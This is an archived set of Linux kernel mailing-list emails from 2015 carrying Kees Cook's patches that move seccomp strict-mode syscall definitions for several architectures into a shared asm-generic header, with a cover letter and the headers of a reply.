Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753981AbbCEB3Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Mar 2015 20:29:16 -0500
Original-Received: from smtp.outflux.net ([198.145.64.163]:39174 "EHLO smtp.outflux.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753683AbbCEB3J (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Mar 2015 20:29:09 -0500
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
	by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RNMq006132;
	Wed, 4 Mar 2015 17:27:23 -0800
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25625 gmane.linux.ports.arm.kernel:397456 gmane.linux.kernel:1900942 gmane.linux.ports.mips.general:47336 gmane.linux.ports.ppc64.devel:109731 gmane.linux.ports.sparc:20530 gmane.linux.kernel.cross-arch:26556
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25625>

Switch to using the newly created asm-generic/seccomp.h for the seccomp
strict mode syscall definitions. The obsolete sigreturn in COMPAT mode
is retained as an override. Remaining definitions are identical, though
they incorrectly appeared in uapi, which has been corrected.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/powerpc/include/asm/seccomp.h      | 10 ++++++++++
 arch/powerpc/include/uapi/asm/Kbuild    |  1 -
 arch/powerpc/include/uapi/asm/seccomp.h | 16 ----------------
 3 files changed, 10 insertions(+), 17 deletions(-)
 create mode 100644 arch/powerpc/include/asm/seccomp.h
 delete mode 100644 arch/powerpc/include/uapi/asm/seccomp.h

diff --git a/arch/powerpc/include/asm/seccomp.h b/arch/powerpc/include/asm/seccomp.h
new file mode 100644
index 000000000000..c1818e35cf02
--- /dev/null
+++ b/arch/powerpc/include/asm/seccomp.h
@@ -0,0 +1,10 @@
+#ifndef _ASM_POWERPC_SECCOMP_H
+#define _ASM_POWERPC_SECCOMP_H
+
+#include <linux/unistd.h>
+
+#define __NR_seccomp_sigreturn_32 __NR_sigreturn
+
+#include <asm-generic/seccomp.h>
+
+#endif	/* _ASM_POWERPC_SECCOMP_H */
diff --git a/arch/powerpc/include/uapi/asm/Kbuild b/arch/powerpc/include/uapi/asm/Kbuild
index 7a3f795ac218..79c4068be278 100644
--- a/arch/powerpc/include/uapi/asm/Kbuild
+++ b/arch/powerpc/include/uapi/asm/Kbuild
@@ -25,7 +25,6 @@ header-y += posix_types.h
 header-y += ps3fb.h
 header-y += ptrace.h
 header-y += resource.h
-header-y += seccomp.h
 header-y += sembuf.h
 header-y += setup.h
 header-y += shmbuf.h
diff --git a/arch/powerpc/include/uapi/asm/seccomp.h b/arch/powerpc/include/uapi/asm/seccomp.h
deleted file mode 100644
index 00c1d9133cfe..000000000000
--- a/arch/powerpc/include/uapi/asm/seccomp.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef _ASM_POWERPC_SECCOMP_H
-#define _ASM_POWERPC_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_sigreturn

From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 3/8] microblaze: use asm-generic for seccomp.h
Date: Wed,  4 Mar 2015 17:27:03 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <1425518828-16017-4-git-send-email-keescook@chromium.org>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425518990 4158 80.91.229.3 (5 Mar 2015 01:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:29:50 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
        Russell King <linux@arm.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "David S. Miller" <davem@davemloft.net>, x86@kernel.org,
        Arnd Bergmann <arnd@arndb.de>,
        Frederic Weisbecker <fweisbec@gmail.com>,
        Peter Zijlstra <peterz@infradead.org>,
        Will Deacon <will.deacon@arm.com>,
        Daniel Borkmann <dborkman@redhat.com>,
        Laura Abbott <lauraa@codeaurora.org>,
        James Hogan <james.hogan@imgtec.com>,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 05 02:29:47 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YTKbi-0000JG-Ce
	for sgi-linux-mips@gmane.org; Thu, 05 Mar 2015 02:29:46 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49623 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27008143AbbCEB3npWiEe (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 5 Mar 2015 02:29:43 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 05 Mar 2015 02:29:28 +0100 (CET)
Original-Received: from smtp.outflux.net ([198.145.64.163]:55955 "EHLO smtp.outflux.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27008144AbbCEB226UEkO (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 5 Mar 2015 02:28:28 +0100
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
        by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RHwT006100;
        Wed, 4 Mar 2015 17:27:17 -0800
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
X-archive-position: 46185
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:47337 gmane.linux.ports.arm.kernel:397457 gmane.linux.kernel:1900944 gmane.linux.ports.parisc:25626 gmane.linux.ports.ppc64.devel:109732 gmane.linux.ports.sparc:20531 gmane.linux.kernel.cross-arch:26557
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/47337>

Switch to using the newly created asm-generic/seccomp.h for the seccomp
strict mode syscall definitions. Since microblaze is 32-bit, the COMPAT
seccomp defines are unused and can be dropped. The obsolete sigreturn
for seccomp strict mode is retained as an override. Remaining definitions
are identical.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/microblaze/include/asm/seccomp.h | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/microblaze/include/asm/seccomp.h b/arch/microblaze/include/asm/seccomp.h
index 0d912758a0d7..204618a2ce84 100644
--- a/arch/microblaze/include/asm/seccomp.h
+++ b/arch/microblaze/include/asm/seccomp.h
@@ -3,14 +3,8 @@
 
 #include <linux/unistd.h>
 
-#define __NR_seccomp_read		__NR_read
-#define __NR_seccomp_write		__NR_write
-#define __NR_seccomp_exit		__NR_exit
 #define __NR_seccomp_sigreturn		__NR_sigreturn
 
-#define __NR_seccomp_read_32		__NR_read
-#define __NR_seccomp_write_32		__NR_write
-#define __NR_seccomp_exit_32		__NR_exit
-#define __NR_seccomp_sigreturn_32	__NR_sigreturn
+#include <asm-generic/seccomp.h>
 
 #endif	/* _ASM_MICROBLAZE_SECCOMP_H */
-- 
1.9.1




From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 5/8] parisc: switch to using asm-generic for seccomp.h
Date: Wed,  4 Mar 2015 17:27:05 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <1425518828-16017-6-git-send-email-keescook@chromium.org>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425519038 4967 80.91.229.3 (5 Mar 2015 01:30:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:30:38 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
        Russell King <linux@arm.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "David S. Miller" <davem@davemloft.net>, x86@kernel.org,
        Arnd Bergmann <arnd@arndb.de>,
        Frederic Weisbecker <fweisbec@gmail.com>,
        Peter Zijlstra <peterz@infradead.org>,
        Will Deacon <will.deacon@arm.com>,
        Daniel Borkmann <dborkman@redhat.com>,
        Laura Abbott <lauraa@codeaurora.org>,
        James Hogan <james.hogan@imgtec.com>,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 05 02:30:35 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YTKcV-0000vd-1c
	for sgi-linux-mips@gmane.org; Thu, 05 Mar 2015 02:30:35 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49953 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27008153AbbCEBacQgVvW (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 5 Mar 2015 02:30:32 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 05 Mar 2015 02:30:18 +0100 (CET)
Original-Received: from smtp.outflux.net ([198.145.64.163]:39280 "EHLO smtp.outflux.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27007013AbbCEBaKvV4lY (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 5 Mar 2015 02:30:10 +0100
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
        by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RNLt006131;
        Wed, 4 Mar 2015 17:27:23 -0800
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
X-archive-position: 46188
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:47338 gmane.linux.ports.arm.kernel:397458 gmane.linux.kernel:1900945 gmane.linux.ports.parisc:25627 gmane.linux.ports.ppc64.devel:109733 gmane.linux.ports.sparc:20532 gmane.linux.kernel.cross-arch:26558
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/47338>

Switch to using the newly created asm-generic/seccomp.h for the seccomp
strict mode syscall definitions. Definitions were identical.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/parisc/include/asm/Kbuild    |  1 +
 arch/parisc/include/asm/seccomp.h | 16 ----------------
 2 files changed, 1 insertion(+), 16 deletions(-)
 delete mode 100644 arch/parisc/include/asm/seccomp.h

diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 8686237a3c3c..12b341d04f88 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -20,6 +20,7 @@ generic-y += param.h
 generic-y += percpu.h
 generic-y += poll.h
 generic-y += preempt.h
+generic-y += seccomp.h
 generic-y += segment.h
 generic-y += topology.h
 generic-y += trace_clock.h
diff --git a/arch/parisc/include/asm/seccomp.h b/arch/parisc/include/asm/seccomp.h
deleted file mode 100644
index 015f7887aa29..000000000000
--- a/arch/parisc/include/asm/seccomp.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef _ASM_PARISC_SECCOMP_H
-#define _ASM_PARISC_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_rt_sigreturn
-
-#endif	/* _ASM_PARISC_SECCOMP_H */
-- 
1.9.1




From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 8/8] x86: switch to using asm-generic for seccomp.h
Date: Wed,  4 Mar 2015 17:27:08 -0800
Lines: 87
Approved: news@gmane.org
Message-ID: <1425518828-16017-9-git-send-email-keescook@chromium.org>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425519061 5186 80.91.229.3 (5 Mar 2015 01:31:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:31:01 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
        Russell King <linux@arm.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "David S. Miller" <davem@davemloft.net>, x86@kernel.org,
        Arnd Bergmann <arnd@arndb.de>,
        Frederic Weisbecker <fweisbec@gmail.com>,
        Peter Zijlstra <peterz@infradead.org>,
        Will Deacon <will.deacon@arm.com>,
        Daniel Borkmann <dborkman@redhat.com>,
        Laura Abbott <lauraa@codeaurora.org>,
        James Hogan <james.hogan@imgtec.com>,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 05 02:30:53 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YTKcm-0001Ah-Vj
	for sgi-linux-mips@gmane.org; Thu, 05 Mar 2015 02:30:53 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:50066 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27008152AbbCEBauZbN1B (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 5 Mar 2015 02:30:50 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 05 Mar 2015 02:30:34 +0100 (CET)
Original-Received: from smtp.outflux.net ([198.145.64.163]:47418 "EHLO smtp.outflux.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27008111AbbCEBaLhNrq0 (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 5 Mar 2015 02:30:11 +0100
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
        by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RNFU006134;
        Wed, 4 Mar 2015 17:27:23 -0800
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
X-archive-position: 46189
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:47339 gmane.linux.ports.arm.kernel:397459 gmane.linux.kernel:1900946 gmane.linux.ports.parisc:25628 gmane.linux.ports.ppc64.devel:109734 gmane.linux.ports.sparc:20533 gmane.linux.kernel.cross-arch:26559
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/47339>

Switch to using the newly created asm-generic/seccomp.h for the seccomp
strict mode syscall definitions. The obsolete sigreturn syscall override
is retained in 32-bit mode, and the ia32 syscall overrides are used in
the compat case. Remaining definitions were identical.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
 arch/x86/include/asm/seccomp.h    | 21 ++++++++++++++++++---
 arch/x86/include/asm/seccomp_32.h | 11 -----------
 arch/x86/include/asm/seccomp_64.h | 17 -----------------
 3 files changed, 18 insertions(+), 31 deletions(-)
 delete mode 100644 arch/x86/include/asm/seccomp_32.h
 delete mode 100644 arch/x86/include/asm/seccomp_64.h

diff --git a/arch/x86/include/asm/seccomp.h b/arch/x86/include/asm/seccomp.h
index 0f3d7f099224..0c8c7c8861b4 100644
--- a/arch/x86/include/asm/seccomp.h
+++ b/arch/x86/include/asm/seccomp.h
@@ -1,5 +1,20 @@
+#ifndef _ASM_X86_SECCOMP_H
+#define _ASM_X86_SECCOMP_H
+
+#include <asm/unistd.h>
+
 #ifdef CONFIG_X86_32
-# include <asm/seccomp_32.h>
-#else
-# include <asm/seccomp_64.h>
+#define __NR_seccomp_sigreturn		__NR_sigreturn
 #endif
+
+#ifdef CONFIG_COMPAT
+#include <asm/ia32_unistd.h>
+#define __NR_seccomp_read_32		__NR_ia32_read
+#define __NR_seccomp_write_32		__NR_ia32_write
+#define __NR_seccomp_exit_32		__NR_ia32_exit
+#define __NR_seccomp_sigreturn_32	__NR_ia32_sigreturn
+#endif
+
+#include <asm-generic/seccomp.h>
+
+#endif /* _ASM_X86_SECCOMP_H */
diff --git a/arch/x86/include/asm/seccomp_32.h b/arch/x86/include/asm/seccomp_32.h
deleted file mode 100644
index b811d6f5780c..000000000000
--- a/arch/x86/include/asm/seccomp_32.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#ifndef _ASM_X86_SECCOMP_32_H
-#define _ASM_X86_SECCOMP_32_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_sigreturn
-
-#endif /* _ASM_X86_SECCOMP_32_H */
diff --git a/arch/x86/include/asm/seccomp_64.h b/arch/x86/include/asm/seccomp_64.h
deleted file mode 100644
index 84ec1bd161a5..000000000000
--- a/arch/x86/include/asm/seccomp_64.h
+++ /dev/null
@@ -1,17 +0,0 @@
-#ifndef _ASM_X86_SECCOMP_64_H
-#define _ASM_X86_SECCOMP_64_H
-
-#include <linux/unistd.h>
-#include <asm/ia32_unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_ia32_read
-#define __NR_seccomp_write_32 __NR_ia32_write
-#define __NR_seccomp_exit_32 __NR_ia32_exit
-#define __NR_seccomp_sigreturn_32 __NR_ia32_sigreturn
-
-#endif /* _ASM_X86_SECCOMP_64_H */
-- 
1.9.1




From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 0/8] switch to using asm-generic for seccomp.h
Date: Wed,  4 Mar 2015 17:27:00 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1425519078 5502 80.91.229.3 (5 Mar 2015 01:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 01:31:18 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
        Russell King <linux@arm.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "David S. Miller" <davem@davemloft.net>, x86@kernel.org,
        Arnd Bergmann <arnd@arndb.de>,
        Frederic Weisbecker <fweisbec@gmail.com>,
        Peter Zijlstra <peterz@infradead.org>,
        Will Deacon <will.deacon@arm.com>,
        Daniel Borkmann <dborkman@redhat.com>,
        Laura Abbott <lauraa@codeaurora.org>,
        James Hogan <james.hogan@imgtec.com>,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 05 02:31:10 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YTKd3-0001MB-MN
	for sgi-linux-mips@gmane.org; Thu, 05 Mar 2015 02:31:09 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:50181 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27008151AbbCEBbHAjQn6 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 5 Mar 2015 02:31:07 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 05 Mar 2015 02:30:52 +0100 (CET)
Original-Received: from smtp.outflux.net ([198.145.64.163]:53726 "EHLO smtp.outflux.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27012250AbbCEBaOdRskH (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 5 Mar 2015 02:30:14 +0100
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
        by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t251RGet006097;
        Wed, 4 Mar 2015 17:27:17 -0800
X-Mailer: git-send-email 1.9.1
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
X-archive-position: 46190
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:47340 gmane.linux.ports.arm.kernel:397460 gmane.linux.kernel:1900948 gmane.linux.ports.parisc:25629 gmane.linux.ports.ppc64.devel:109735 gmane.linux.ports.sparc:20534 gmane.linux.kernel.cross-arch:26560
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/47340>

Most architectures don't need to do much special for the strict-mode
seccomp syscall entries. Remove the redundant headers and reduce the
others.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
v3:
- split patch series by architecture
- fix up architectures that need sigreturn overrides (ingo)
v2:
- use Kbuild "generic-y" instead of explicit #include lines (sfr)




From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v3 8/8] x86: switch to using asm-generic for seccomp.h
Date: Thu, 5 Mar 2015 07:31:43 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20150305063143.GA23023@gmail.com>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
 <1425518828-16017-9-git-send-email-keescook@chromium.org>
